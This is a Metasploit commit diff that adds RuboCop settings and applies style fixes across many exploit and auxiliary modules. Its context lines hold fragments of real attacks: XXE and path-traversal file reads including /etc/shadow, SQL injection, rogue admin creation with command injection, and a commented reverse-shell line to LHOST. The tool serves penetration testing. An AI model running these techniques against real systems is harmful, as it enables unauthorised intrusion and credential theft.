Rubocop recently landed modules continued
This commit is contained in:
@@ -85,6 +85,13 @@ Style/BlockComments:
|
||||
be copy/pasted directly into a terminal etc.
|
||||
Enabled: false
|
||||
|
||||
Style/CaseLikeIf:
|
||||
Description: >-
|
||||
This would cause a lot of noise, and potentially introduce subtly different code when
|
||||
being auto fixed. Could potentially be enabled in isolation, but would require more
|
||||
consideration.
|
||||
Enabled: false
|
||||
|
||||
Style/CollectionCompact:
|
||||
Enabled: true
|
||||
|
||||
@@ -172,6 +179,17 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Metrics/BlockNesting:
|
||||
Description: >-
|
||||
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
|
||||
Enabled: false
|
||||
|
||||
Metrics/ParameterLists:
|
||||
Description: >-
|
||||
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
|
||||
Increasing the max count for now
|
||||
Max: 8
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
@@ -184,6 +202,30 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Naming/HeredocDelimiterNaming:
|
||||
Description: >-
|
||||
Could be enabled in isolation with additional effort.
|
||||
Enabled: false
|
||||
|
||||
Naming/AccessorMethodName:
|
||||
Description: >-
|
||||
Disabled for now, as this naming convention is used in a lot of core library files.
|
||||
Could be enabled in isolation with additional effort.
|
||||
Enabled: false
|
||||
|
||||
Naming/ConstantName:
|
||||
Description: >-
|
||||
Disabled for now, Metasploit is unfortunately too inconsistent with its naming to introduce
|
||||
this. Definitely possible to enforce this in the future if need be.
|
||||
|
||||
Examples:
|
||||
ManualRanking, LowRanking, etc.
|
||||
NERR_ClientNameNotFound
|
||||
HttpFingerprint
|
||||
CachedSize
|
||||
ErrUnknownTransferId
|
||||
Enabled: false
|
||||
|
||||
Naming/VariableNumber:
|
||||
Description: 'To make it easier to use reference code, disable this cop'
|
||||
Enabled: false
|
||||
|
||||
@@ -102,11 +102,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def free_the_admin(session_id)
|
||||
# step 2: give the session ID to the server and have it grant us a free admin password
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"')
|
||||
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, content_disposition = 'form-data; name="password"')
|
||||
post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"')
|
||||
post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"')
|
||||
post_data.add_part(session_id, nil, nil, content_disposition = 'form-data; name="sessionId"')
|
||||
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
|
||||
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
|
||||
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
|
||||
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
|
||||
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
|
||||
|
||||
@@ -70,6 +70,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
headers_ajp = Array.new
|
||||
for (header_name, header_value) in headers do
|
||||
code = header2code[header_name].to_s
|
||||
|
||||
# rubocop:disable Style/IdenticalConditionalBranches
|
||||
if code != ''
|
||||
headers_ajp.append(code)
|
||||
headers_ajp.append(ajp_string(header_value.to_s))
|
||||
@@ -77,6 +79,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
headers_ajp.append(ajp_string(header_name.to_s))
|
||||
headers_ajp.append(ajp_string(header_value.to_s))
|
||||
end
|
||||
# rubocop:enable Style/IdenticalConditionalBranches
|
||||
end
|
||||
return int2byte(headers.length, 2), headers_ajp
|
||||
end
|
||||
@@ -113,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def ajp_string(message_bytes)
|
||||
int2byte(message_bytes.length, 2) + message_bytes + "\x00"
|
||||
"#{int2byte(message_bytes.length, 2)}#{message_bytes}\x00"
|
||||
end
|
||||
|
||||
def int2byte(data, byte_len = 1)
|
||||
@@ -165,7 +168,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
message += attributes_ajp_bytes
|
||||
message.append("\xff")
|
||||
message_bytes = message.join
|
||||
send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s)
|
||||
send_bytes = "\x12\x34#{ajp_string(message_bytes.to_s)}"
|
||||
return send_bytes
|
||||
end
|
||||
|
||||
@@ -218,7 +221,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
@header_data += "\n"
|
||||
header_num = buf[idx..(idx + 2)].unpack('n')[0]
|
||||
idx += 2
|
||||
for i in 1..header_num
|
||||
|
||||
# rubocop:disable Style/IdenticalConditionalBranches
|
||||
for _i in 1..header_num
|
||||
if buf[idx] == "\xA0"
|
||||
idx += 1
|
||||
@header_data += "#{common_response_headers[buf[idx]]}: "
|
||||
@@ -234,8 +239,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
@header_data += val
|
||||
end
|
||||
@header_data += "\n"
|
||||
|
||||
end
|
||||
# rubocop:enable Style/IdenticalConditionalBranches
|
||||
elsif buf[idx] == "\x05"
|
||||
return 0
|
||||
elsif buf[idx] == "\x03"
|
||||
|
||||
@@ -110,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def check
|
||||
begin
|
||||
vers_string = retrieve_asa_version
|
||||
rescue ::Exception
|
||||
rescue ::StandardError
|
||||
print_error('Error: Unable to retrieve version information')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
@@ -171,8 +171,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
begin
|
||||
session = rand(1..255)
|
||||
|
||||
vers_string = retrieve_asa_version
|
||||
|
||||
print_status("Building #{action.name} payload for version #{vers_string}...")
|
||||
@@ -199,7 +197,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error("Error: No payload available for version #{vers_string}")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue ::Exception => e
|
||||
rescue ::StandardError => e
|
||||
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
|
||||
@@ -274,7 +274,7 @@ class WebServiceJob
|
||||
res.get_xml_document.xpath('//return/text()').to_s != 'false'
|
||||
end
|
||||
|
||||
def get_event # rubocop:disable Naming/AccessorMethodName
|
||||
def get_event
|
||||
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
|
||||
<soapenv:Header/>
|
||||
|
||||
@@ -65,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
@data_xml = {
|
||||
name: Rex::Text.rand_text_alphanumeric(12),
|
||||
filename: Rex::Text.rand_text_alphanumeric(12) + '.xml',
|
||||
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
|
||||
data: nil
|
||||
}
|
||||
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
|
||||
@@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
</ChartData>)
|
||||
@xxe_xml = {
|
||||
name: Rex::Text.rand_text_alphanumeric(12),
|
||||
filename: Rex::Text.rand_text_alphanumeric(12) + '.xml',
|
||||
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
|
||||
data: nil
|
||||
}
|
||||
end
|
||||
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
</SAPChartCustomizing>)
|
||||
end
|
||||
|
||||
def make_post_data(file_name, dos = false)
|
||||
def make_post_data(file_name, dos: false)
|
||||
if !dos
|
||||
make_xxe_xml(file_name)
|
||||
else
|
||||
@@ -222,7 +222,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Set up XML data for HTTP request
|
||||
setup_xml_and_variables
|
||||
make_post_data(os_release_file, false) # Create a XML data payload to retrieve the value of /etc/os-release
|
||||
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
|
||||
# so that the module can check if the target is vulnerable or not.
|
||||
|
||||
# Get OS release information
|
||||
@@ -297,7 +297,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Set up XML data for HTTP request
|
||||
setup_xml_and_variables
|
||||
make_post_data(@file, false)
|
||||
make_post_data(@file, dos: false)
|
||||
|
||||
# Download remote file
|
||||
first_response = send_first_request
|
||||
@@ -352,7 +352,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Set up XML data for HTTP request
|
||||
setup_xml_and_variables
|
||||
make_post_data(@file, true)
|
||||
make_post_data(@file, dos: true)
|
||||
|
||||
# Send HTTP request
|
||||
begin
|
||||
|
||||
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
query << "\x00\x01" # Class: IN (0x0001)
|
||||
|
||||
# Additional records. Name
|
||||
query << "\x0a" + 'local-ddns'
|
||||
query << "\x0alocal-ddns"
|
||||
query << "\x00"
|
||||
|
||||
query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
|
||||
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
query << "\x00\x1d" # Data length: 29
|
||||
|
||||
# Algorithm Name
|
||||
query << "\x0b" + 'hmac-sha256' # The algorithm for local-ddns is hmac-sha256
|
||||
query << "\x0bhmac-sha256" # The algorithm for local-ddns is hmac-sha256
|
||||
query << "\x00"
|
||||
|
||||
# Rest of TSIG
|
||||
@@ -86,8 +86,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_domain
|
||||
domain = "\x06" + Rex::Text.rand_text_alphanumeric(6)
|
||||
org = "\x03" + Rex::Text.rand_text_alphanumeric(3)
|
||||
domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"
|
||||
org = "\x03#{Rex::Text.rand_text_alphanumeric(3)}"
|
||||
domain + org
|
||||
end
|
||||
|
||||
|
||||
@@ -170,7 +170,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'uri' => "/api/v1/search/#{search_type}",
|
||||
'agent' => datastore['USERAGENT'],
|
||||
'headers' => {
|
||||
'Authorization' => 'Basic ' + Rex::Text.encode_base64(uid.to_s + ':' + secret.to_s)
|
||||
'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}"
|
||||
},
|
||||
'data' => payload.to_json
|
||||
)
|
||||
@@ -277,7 +277,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
response = http.send_recv(request)
|
||||
http.close
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
rescue StandardError => e
|
||||
# noop
|
||||
rescue ::StandardError => e
|
||||
print_error(e.message)
|
||||
end
|
||||
return false if response.nil?
|
||||
@@ -644,7 +645,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
records << ip.to_s unless is_listed
|
||||
end
|
||||
else
|
||||
records.concat(ip_list.uniq.map { |ip| ip.to_s })
|
||||
records.concat(ip_list.uniq.map(&:to_s))
|
||||
end
|
||||
|
||||
# Exit if no IP address(es) has been found after cleaning.
|
||||
|
||||
@@ -178,7 +178,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
elsif node.is_a?(Nokogiri::XML::Element)
|
||||
node_name = node.name
|
||||
if node.attributes && !node.attributes.empty?
|
||||
node_name += ' {' + node.attributes.map { |(_n, attr)| attr.name + '=' + attr.value }.join(',') + '}'
|
||||
node_name += " {#{node.attributes.map { |(_n, attr)| "#{attr.name}=#{attr.value}" }.join(',')}}"
|
||||
end
|
||||
vprint_good "\t" * nesting + node_name
|
||||
node.children.each do |child|
|
||||
|
||||
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
print_good("File download successful, saved in #{path}")
|
||||
|
||||
print_good("File content:\n" + file_content) if datastore['PRINT']
|
||||
print_good("File content:\n#{file_content}") if datastore['PRINT']
|
||||
|
||||
return unless datastore['FILEPATH'] == '/etc/shadow'
|
||||
|
||||
@@ -158,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'album' => album_id,
|
||||
'a' => 'caption',
|
||||
'ac' => access_code,
|
||||
'filename' => '.' + (file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : '/' + file_path)
|
||||
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -241,7 +241,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Stores table data to file on disk
|
||||
def store_data(data, name)
|
||||
path = store_loot(name, 'text/plain', datastore['RHOST'], data.to_json, name)
|
||||
print_good('Saved file to: ' + path)
|
||||
print_good("Saved file to: #{path}")
|
||||
end
|
||||
|
||||
# Performs all sql injection functionality
|
||||
|
||||
@@ -481,7 +481,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
hint_count = 0
|
||||
users.keys.sort { |a, b| a <=> b }.each do |rid|
|
||||
# If we have a hint then print it
|
||||
next unless !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
|
||||
next unless !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
|
||||
|
||||
hint = "#{users[rid][:Name]}: \"#{users[rid][:UserPasswordHint]}\""
|
||||
report_info(hint, 'user.password_hint')
|
||||
@@ -608,7 +608,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status("Encrypted data: #{cache.enc_data.to_hex}")
|
||||
vprint_status("IV: #{cache.iv.to_hex}")
|
||||
|
||||
enc_data = cache.enc_data.map { |e| e.chr }.join
|
||||
enc_data = cache.enc_data.map(&:chr).join
|
||||
if lsa_vista_style?
|
||||
dec_data = decrypt_hash_vista(enc_data, nlkm_key, cache.iv)
|
||||
else
|
||||
@@ -645,7 +645,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
info << ("Home Directory Drive: #{cache_data.home_directory_drive.encode(::Encoding::UTF_8)}")
|
||||
info << ("User ID: #{cache.user_id}")
|
||||
info << ("Primary Group ID: #{cache.primary_group_id}")
|
||||
info << ("Additional groups: #{cache_data.groups.map { |g| g.relative_id }.join(' ')}")
|
||||
info << ("Additional groups: #{cache_data.groups.map(&:relative_id).join(' ')}")
|
||||
logon_domain_name = cache_data.logon_domain_name.encode(::Encoding::UTF_8)
|
||||
info << ("Logon domain name: #{logon_domain_name}")
|
||||
|
||||
@@ -746,14 +746,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
byte_str.map do |byte|
|
||||
t = byte.to_s(2).rjust(8, '0')
|
||||
if t[0, 7].count('1').odd?
|
||||
(t[0, 7] + '0').to_i(2).chr
|
||||
("#{t[0, 7]}0").to_i(2).chr
|
||||
else
|
||||
(t[0, 7] + '1').to_i(2).chr
|
||||
("#{t[0, 7]}1").to_i(2).chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def is_weak_des_key?(key)
|
||||
def weak_des_key?(key)
|
||||
[
|
||||
"\x01\x01\x01\x01\x01\x01\x01\x01",
|
||||
"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE",
|
||||
@@ -802,7 +802,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
plaintext.bytes.each_slice(8) do |block|
|
||||
tmp_56 = block.map { |byte| byte & 0b01111111 }
|
||||
if !odd
|
||||
# rubocop:disable Style/FormatString
|
||||
tmp_56_str = tmp_56.map { |byte| '%07b' % byte }.join
|
||||
# rubocop:enable Style/FormatString
|
||||
tmp_56_str.reverse!
|
||||
tmp_56 = tmp_56_str.bytes.each_slice(7).map do |bits7|
|
||||
bits7.map(&:chr).join.to_i(2)
|
||||
@@ -812,7 +814,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
tmp_byte_str = tmp_byte_str.zip(tmp_56).map { |a, b| a ^ b }
|
||||
end
|
||||
tempkey = add_parity(tmp_byte_str).map(&:chr).join
|
||||
if is_weak_des_key?(tempkey)
|
||||
if weak_des_key?(tempkey)
|
||||
tempkey[7] = (tempkey[7].ord ^ 0xF0).chr
|
||||
end
|
||||
cipher = OpenSSL::Cipher.new('DES-CBC')
|
||||
@@ -821,7 +823,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cipher.key = tempkey
|
||||
chekcsumkey = cipher.update(plaintext)[-8..-1]
|
||||
chekcsumkey = fix_parity(chekcsumkey.bytes).map(&:chr).join
|
||||
if is_weak_des_key?(chekcsumkey)
|
||||
if weak_des_key?(chekcsumkey)
|
||||
chekcsumkey[7] = (chekcsumkey[7].ord ^ 0xF0).chr
|
||||
end
|
||||
chekcsumkey.unpack('H*')[0]
|
||||
@@ -1005,7 +1007,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Module::Failure::NoAccess,
|
||||
"Unable to authenticate ([#{e.class}] #{e}).")
|
||||
end
|
||||
mdm_service = report_service(
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
host_name: simple.client.default_name,
|
||||
@@ -1100,7 +1102,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
|
||||
rescue ::Exception => e
|
||||
rescue ::StandardError => e
|
||||
do_cleanup
|
||||
raise e
|
||||
ensure
|
||||
@@ -1110,7 +1112,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
@winreg.close if @winreg
|
||||
@tree.disconnect! if @tree
|
||||
simple.client.disconnect! if simple&.client&.is_a?(RubySMB::Client)
|
||||
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
os_type = data.match(/os.name=\s*\S*/).to_s.split('=')[1]
|
||||
os_arch = data.match(/os.arch=\s*\S*/).to_s.split('=')[1]
|
||||
os_ver = data.match(/os.version=\s*\S*/).to_s.split('=')[1]
|
||||
os = os_type.to_s + ' ' + os_arch.to_s + ' ' + os_ver.to_s
|
||||
os = "#{os_type} #{os_arch} #{os_ver}"
|
||||
|
||||
host_info = {
|
||||
host: rhost,
|
||||
|
||||
@@ -85,7 +85,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
refs: references
|
||||
)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
# noop
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
# noop
|
||||
rescue ::OpenSSL::SSL::SSLError => e
|
||||
return if (e.to_s.match(/^SSL_connect /)) # strange errors / exception if SSL connection aborted
|
||||
end
|
||||
|
||||
@@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# required or you get values like <> for username and *)/?*//-?//>/?=)+ for password hash
|
||||
if payload.include?('<')
|
||||
payload.gsub!(/<>/, '=')
|
||||
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { '0,' + Regexp.last_match(1) }
|
||||
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
|
||||
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
['URL', 'https://seclists.org/fulldisclosure/2020/May/26']
|
||||
],
|
||||
'Actions' => [
|
||||
['List Users', 'Description' => 'Queries username, password hash for COUNT users'],
|
||||
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
|
||||
],
|
||||
'DefaultAction' => 'List Users',
|
||||
'DisclosureDate' => '2020-05-12'
|
||||
|
||||
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
|
||||
if payload.include?('<')
|
||||
payload.gsub!(/<>/, '=')
|
||||
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { '0,' + Regexp.last_match(1) }
|
||||
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
||||
@@ -167,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
rescue ::Interrupt
|
||||
print_error('MODBUS - Interrupt during payload')
|
||||
raise $!
|
||||
raise $ERROR_INFO
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
|
||||
print_error("MODBUS - Network error during payload: #{e}")
|
||||
return
|
||||
@@ -175,13 +175,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error('MODBUS - No reply')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
begin
|
||||
disconnect
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
def cleanup
|
||||
begin
|
||||
disconnect
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def upload_payload_and_script(cookie, csrf, patches_path)
|
||||
# step 5: upload our payload
|
||||
payload_file = rand_text_alpha(5..12) + '.enc'
|
||||
payload_file = "#{rand_text_alpha(5..12)}.enc"
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")
|
||||
|
||||
@@ -222,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# to execute as root, we ensure our payload still executes as a3user.
|
||||
#
|
||||
# Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
|
||||
script_file = rand_text_alpha(5..12) + '.enc'
|
||||
script_file = "#{rand_text_alpha(5..12)}.enc"
|
||||
@script_filepath = patches_path + script_file
|
||||
@payload_filepath = patches_path + payload_file
|
||||
rand_file = rand_text_alpha(5..12)
|
||||
|
||||
@@ -253,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# This request will timeout. It has to, for the exploit to work.
|
||||
def execute_payload
|
||||
print_status('Executing plugin...')
|
||||
res = send_request_cgi({
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => @cookie,
|
||||
|
||||
@@ -85,7 +85,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def create_rconfig_user(user, _password)
|
||||
vprint_status 'STEP 1 : Adding a temporary admin user...'
|
||||
fake_id = Rex::Text.rand_text_numeric(3)
|
||||
fake_pass = Rex::Text.rand_text_alpha(10)
|
||||
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
|
||||
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
|
||||
userleveladmin = 9 # Administrator
|
||||
@@ -141,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def trigger_rce(cmd, _opts = {})
|
||||
vprint_status "STEP 3: Executing the command (#{cmd})"
|
||||
trigger = "`#{cmd} #`"
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
|
||||
'cookie' => @cookie,
|
||||
@@ -192,11 +191,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
check
|
||||
@username = rand_text_alphanumeric(8..12)
|
||||
@password = 'admin'
|
||||
create_res = create_rconfig_user @username, @password
|
||||
_cres_res = create_rconfig_user @username, @password
|
||||
login(@username, @password)
|
||||
tmp_txt_file = Rex::Text.rand_text_alpha(10)
|
||||
tmp_zip_file = Rex::Text.rand_text_alpha(10)
|
||||
# The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
|
||||
# tmp_txt_file = Rex::Text.rand_text_alpha(10)
|
||||
# tmp_zip_file = Rex::Text.rand_text_alpha(10)
|
||||
# trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
|
||||
trigger_rce(payload.encoded.to_s)
|
||||
end
|
||||
|
||||
@@ -135,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
code = exploit_data('CVE-2014-2630.c')
|
||||
code.sub!('#{payload_path}', payload_path) # inject our payload path
|
||||
code.sub!(payload_path.to_s, payload_path) # inject our payload path
|
||||
upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
|
||||
rm_f "#{so_file}.c"
|
||||
else
|
||||
|
||||
@@ -181,7 +181,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
# Function to get util-linux version.
|
||||
def find_util_linux_verison
|
||||
response = cmd_exec('script -V')
|
||||
# rubocop:disable Lint/MixedRegexpCaptureTypes
|
||||
match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/)
|
||||
# rubocop:enable Lint/MixedRegexpCaptureTypes
|
||||
|
||||
return false unless match
|
||||
|
||||
|
||||
@@ -46,15 +46,15 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ], version_fingerprint: /^Ubuntu 20\.04/ } ],
|
||||
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
|
||||
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
|
||||
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: /^Debian GNU\/Linux 10$/ } ],
|
||||
[ 'Manual', { } ],
|
||||
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
|
||||
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
|
||||
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
|
||||
[ 'Manual', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
|
||||
'DisclosureDate' => '2021-01-26',
|
||||
'Notes' => {
|
||||
@@ -120,10 +120,10 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
def get_automatic_target
|
||||
sysinfo = get_sysinfo
|
||||
|
||||
target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
|
||||
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if target.nil?
|
||||
print_status("Using automatically selected target: #{target.name}")
|
||||
target
|
||||
selected_target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
|
||||
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if selected_target.nil?
|
||||
print_status("Using automatically selected target: #{selected_target.name}")
|
||||
selected_target
|
||||
end
|
||||
|
||||
def exploit
|
||||
@@ -139,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
path = datastore['WritableDir']
|
||||
|
||||
exe_file_name = rand_text_alphanumeric(5..10)
|
||||
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
|
||||
